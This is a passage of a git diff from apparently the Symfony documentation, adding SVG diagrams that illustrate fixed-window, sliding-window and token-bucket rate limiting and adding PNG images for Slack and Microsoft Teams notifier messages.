x="283.944444" y="110.00217"/> + <use xlink:href="#glyph0-5" x="291.166667" y="110.00217"/> + <use xlink:href="#glyph0-3" x="300.055556" y="110.00217"/> + <use xlink:href="#glyph0-2" x="305.611111" y="110.00217"/> + <use xlink:href="#glyph0-6" x="313.944444" y="110.00217"/> + <use xlink:href="#glyph0-7" x="318.388889" y="110.00217"/> + <use xlink:href="#glyph0-5" x="329.222222" y="110.00217"/> + <use xlink:href="#glyph0-8" x="338.111111" y="110.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M -3.7 11 C -3.865625 11 -4 11.134375 -4 11.3 L -4 14.7 C -4 14.865625 -3.865625 15 -3.7 15 L 3.7 15 C 3.865625 15 4 14.865625 4 14.7 L 4 11.3 C 4 11.134375 3.865625 11 3.7 11 Z M -3.7 11 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="71.863281" y="97.302951"/> + <use xlink:href="#glyph0-10" x="80.474392" y="97.302951"/> + <use xlink:href="#glyph0-11" x="88.25217" y="97.302951"/> + <use xlink:href="#glyph0-12" x="101.585503" y="97.302951"/> + <use xlink:href="#glyph0-13" x="106.585503" y="97.302951"/> + <use xlink:href="#glyph0-14" x="115.474392" y="97.302951"/> + <use xlink:href="#glyph0-10" x="124.363281" y="97.302951"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-15" x="62.976563" y="122.701389"/> + <use xlink:href="#glyph0-16" x="71.032118" y="122.701389"/> + <use xlink:href="#glyph0-16" x="79.921007" y="122.701389"/> + <use xlink:href="#glyph0-17" x="88.809896" y="122.701389"/> + <use xlink:href="#glyph0-18" x="93.532118" y="122.701389"/> + <use xlink:href="#glyph0-4" x="97.976563" y="122.701389"/> + <use xlink:href="#glyph0-15" x="105.198785" y="122.701389"/> + <use xlink:href="#glyph0-19" x="113.25434" y="122.701389"/> + <use xlink:href="#glyph0-18" x="118.809896" y="122.701389"/> + <use xlink:href="#glyph0-13" x="123.25434" y="122.701389"/> + <use xlink:href="#glyph0-14" x="132.143229" y="122.701389"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 12 C 16.134375 12 16 12.134375 16 12.3 L 16 13.7 C 16 13.865625 16.134375 14 16.3 14 L 22.7 14 C 22.865625 14 23 13.865625 23 13.7 L 23 12.3 C 23 12.134375 22.865625 12 22.7 12 Z M 16.3 12 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-11" x="449.089844" y="110.00217"/> + <use xlink:href="#glyph0-13" x="462.423177" y="110.00217"/> + <use xlink:href="#glyph0-8" x="471.312066" y="110.00217"/> + <use xlink:href="#glyph0-18" x="480.200955" y="110.00217"/> + <use xlink:href="#glyph0-17" x="484.645399" y="110.00217"/> + <use xlink:href="#glyph0-2" x="489.367622" y="110.00217"/> + <use xlink:href="#glyph0-6" x="497.700955" y="110.00217"/> + <use xlink:href="#glyph0-15" x="502.145399" y="110.00217"/> + <use xlink:href="#glyph0-16" x="510.200955" y="110.00217"/> + <use xlink:href="#glyph0-16" x="519.089844" y="110.00217"/> + <use xlink:href="#glyph0-20" x="527.978733" y="110.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 9 C 16.134375 9 16 9.134375 16 9.3 L 16 10.7 C 16 10.865625 16.134375 11 16.3 11 L 22.7 11 C 22.865625 11 23 10.865625 23 10.7 L 23 9.3 C 23 9.134375 22.865625 9 22.7 9 Z M 16.3 9 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-21" x="447.292969" y="50.00217"/> + <use xlink:href="#glyph0-2" x="459.237413" y="50.00217"/> + <use xlink:href="#glyph0-8" x="467.570747" y="50.00217"/> + <use xlink:href="#glyph0-6" x="476.459635" y="50.00217"/> + <use xlink:href="#glyph0-8" x="480.90408" y="50.00217"/> + <use xlink:href="#glyph0-3" x="489.792969" y="50.00217"/> + <use xlink:href="#glyph0-13" x="495.348524" y="50.00217"/> + <use xlink:href="#glyph0-21" x="503.959635" y="50.00217"/> + <use xlink:href="#glyph0-20" x="515.90408" y="50.00217"/> + <use xlink:href="#glyph0-2" x="522.848524" y="50.00217"/> + <use xlink:href="#glyph0-3" x="531.181858" y="50.00217"/> +</g> +<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 15 C 16.134375 15 16 15.134375 16 15.3 L 16 16.7 C 16 16.865625 16.134375 17 16.3 17 L 22.7 17 C 22.865625 17 23 16.865625 23 16.7 L 23 15.3 C 23 15.134375 22.865625 15 22.7 15 Z M 16.3 15 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-22" x="453.113281" y="170.00217"/> + <use xlink:href="#glyph0-13" x="457.835503" y="170.00217"/> + <use xlink:href="#glyph0-23" x="466.724392" y="170.00217"/> + <use xlink:href="#glyph0-6" x="475.057726" y="170.00217"/> + <use xlink:href="#glyph0-24" x="479.50217" y="170.00217"/> + <use xlink:href="#glyph0-2" x="488.391059" y="170.00217"/> + <use xlink:href="#glyph0-25" x="496.446615" y="170.00217"/> + <use xlink:href="#glyph0-18" x="504.224392" y="170.00217"/> + <use xlink:href="#glyph0-4" x="508.668837" y="170.00217"/> + <use xlink:href="#glyph0-2" x="515.613281" y="170.00217"/> + <use xlink:href="#glyph0-20" x="523.946615" y="170.00217"/> +</g> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 4 13 L 6.45 13 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 6.45 13.25 L 6.95 13 L 6.45 12.75 Z M 6.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 10 L 15.45 10 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 10.25 L 15.95 10 L 15.45 9.75 Z M 15.45 10.25 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13 13 L 15 13 L 15 16 L 15.45 16 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 16.25 L 15.95 16 L 15.45 15.75 Z M 15.45 16.25 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 13.050195 13 L 15.45 13 " transform="matrix(20,0,0,20,102,-158)"/> +<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15.45 13.25 L 15.95 13 L 15.45 12.75 Z M 15.45 13.25 " transform="matrix(20,0,0,20,102,-158)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-26" x="193.113281" y="95.517795"/> + <use xlink:href="#glyph0-27" x="202.00217" y="95.517795"/> + <use xlink:href="#glyph0-9" x="213.113281" y="95.517795"/> + <use xlink:href="#glyph0-23" x="221.724392" y="95.517795"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-9" x="369.089844" y="95.517795"/> + <use xlink:href="#glyph0-9" x="377.700955" y="95.517795"/> + <use xlink:href="#glyph0-28" x="386.312066" y="95.517795"/> +</g> +</g> +</svg> diff --git a/_images/mercure/schema.png b/_images/mercure/schema.png deleted file mode 100644 index 4616046e5cc..00000000000 Binary files a/_images/mercure/schema.png and /dev/null differ diff --git a/_images/notifier/microsoft_teams/message-card.png b/_images/notifier/microsoft_teams/message-card.png new file mode 100644 index 00000000000..05f505fb3e0 Binary files /dev/null and b/_images/notifier/microsoft_teams/message-card.png differ diff --git a/_images/notifier/microsoft_teams/message.png b/_images/notifier/microsoft_teams/message.png new file mode 100644 index 00000000000..5c4c7f11ed1 Binary files /dev/null and b/_images/notifier/microsoft_teams/message.png differ diff --git a/_images/notifier/slack/field-method.png b/_images/notifier/slack/field-method.png new file mode 100644 index 00000000000..d77a60e6a2e Binary files /dev/null and b/_images/notifier/slack/field-method.png differ diff --git a/_images/notifier/slack/message-reply.png b/_images/notifier/slack/message-reply.png new file mode 100644 index 00000000000..9a60e4573ab Binary files /dev/null and b/_images/notifier/slack/message-reply.png differ diff --git a/_images/notifier/slack/slack-footer.png b/_images/notifier/slack/slack-footer.png new file mode 100644 index 00000000000..a53952c78f6 Binary files /dev/null and b/_images/notifier/slack/slack-footer.png differ diff --git a/_images/notifier/slack/slack-header.png b/_images/notifier/slack/slack-header.png new file mode 100644 index 00000000000..a7caf915d8f Binary files /dev/null and b/_images/notifier/slack/slack-header.png differ diff --git a/_images/profiler/web-interface.png b/_images/profiler/web-interface.png index 2e6c6061892..b107f6427d7 100644 Binary files a/_images/profiler/web-interface.png and b/_images/profiler/web-interface.png differ diff --git a/_images/quick_tour/no_routes_page.png b/_images/quick_tour/no_routes_page.png index 382950b6ef5..030953a17b1 100644 Binary files a/_images/quick_tour/no_routes_page.png and b/_images/quick_tour/no_routes_page.png differ diff --git a/_images/quick_tour/web_debug_toolbar.png b/_images/quick_tour/web_debug_toolbar.png deleted file mode 100644 index 465020380cb..00000000000 Binary files a/_images/quick_tour/web_debug_toolbar.png and /dev/null differ diff --git a/_images/rate_limiter/fixed_window.svg b/_images/rate_limiter/fixed_window.svg new file mode 100644 index 00000000000..83d5f6e79ac --- /dev/null +++ b/_images/rate_limiter/fixed_window.svg @@ -0,0 +1,84 @@ +<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> + <g id="Background"> + <g> + <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="785" y="-140" width="125" height="120" rx="0" ry="0"/> + <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="847.5" y="-76.1187"> + <tspan x="847.5" y="-76.1187"></tspan> + </text> + </g> + <g> + <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="670" y="-140" width="120" height="120" rx="0" ry="0"/> + <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="730" y="-76.1187"> + <tspan x="730" y="-76.1187"></tspan> + </text> + </g> + <g> + <rect style="fill: #b2dec7; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="520" y="-140" width="120" height="120" rx="0" ry="0"/> + <text font-size="12.8" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="580" y="-76.1187"> + <tspan x="580" y="-76.1187"></tspan> + </text> + </g> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0"> + <tspan x="505" y="0">10:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0"> + <tspan x="565" y="0">10:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0"> + <tspan x="625" y="0">11:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0"> + <tspan x="685" y="0">11:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0"> + <tspan x="745" y="0">12:00</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0"> + <tspan x="805" y="0">12:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0"> + <tspan x="865" y="0">13:00</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-135" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="580" y="-150"> + <tspan x="580" y="-150">1 hour window</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="730" y="-150"> + <tspan x="730" y="-150">1 hour window</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="850" y="-150"> + <tspan x="850" y="-150">1 hour window</tspan> + </text> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0"> + <tspan x="925" y="0">13:15</tspan> + </text> + </g> +</svg> diff --git a/_images/rate_limiter/sliding_window.svg b/_images/rate_limiter/sliding_window.svg new file mode 100644 index 00000000000..2c565615441 --- /dev/null +++ b/_images/rate_limiter/sliding_window.svg @@ -0,0 +1,65 @@ +<svg width="400" viewBox="483 -171 463 177" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> + <g id="Background"> + <g> + <rect style="fill: #fddfbb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x="610" y="-140" width="120" height="120" rx="0" ry="0"/> + <text font-size="12.7998" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:sans-serif;font-style:normal;font-weight:normal" x="670" y="-76.1189"> + <tspan x="670" y="-76.1189"></tspan> + </text> + </g> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="0"> + <tspan x="505" y="0">10:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="0"> + <tspan x="565" y="0">10:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="0"> + <tspan x="625" y="0">11:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="0"> + <tspan x="685" y="0">11:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="0"> + <tspan x="745" y="0">12:00</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="0"> + <tspan x="805" y="0">12:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="0"> + <tspan x="865" y="0">13:00</tspan> + </text> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="-35" x2="945" y2="-35"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="-45" x2="505" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="-40" x2="535" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="-45" x2="565" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="-40" x2="595" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="-45" x2="625" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="-40" x2="655" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="-45" x2="685" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="-40" x2="715" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="-45" x2="745" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="-40" x2="775" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="-45" x2="805" y2="-25"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="-40" x2="835" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="-45" x2="865" y2="-25"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="-135" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="670" y="-150"> + <tspan x="670" y="-150">1 hour window</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="-40" x2="895" y2="-30"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="-45" x2="925" y2="-25"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="0"> + <tspan x="925" y="0">13:15</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="-105" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="-75" width="19.3548" height="20" rx="0" ry="0"/> + </g> +</svg> diff --git a/_images/rate_limiter/token_bucket.svg b/_images/rate_limiter/token_bucket.svg new file mode 100644 index 00000000000..29d6fc8f103 --- /dev/null +++ b/_images/rate_limiter/token_bucket.svg @@ -0,0 +1,83 @@ +<svg width="400" viewBox="483 2 463 173" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> + <g id="Background"> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="505" y="170"> + <tspan x="505" y="170">10:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="565" y="170"> + <tspan x="565" y="170">10:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="625" y="170"> + <tspan x="625" y="170">11:00</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="685" y="170"> + <tspan x="685" y="170">11:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="745" y="170"> + <tspan x="745" y="170">12:00</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="525" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <rect style="fill: #ecbec0; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="35" width="19.3548" height="20" rx="0" ry="0"/> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="170"> + <tspan x="805" y="170">12:30</tspan> + </text> + <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="170"> + <tspan x="865" y="170">13:00</tspan> + </text> + <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="95" width="19.3548" height="20" rx="0" ry="0"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="135" x2="945" y2="135"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="125" x2="505" y2="145"/> + <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="130" x2="535" y2="140"/> + <line style="fill: none; stroke-opacity: 1; 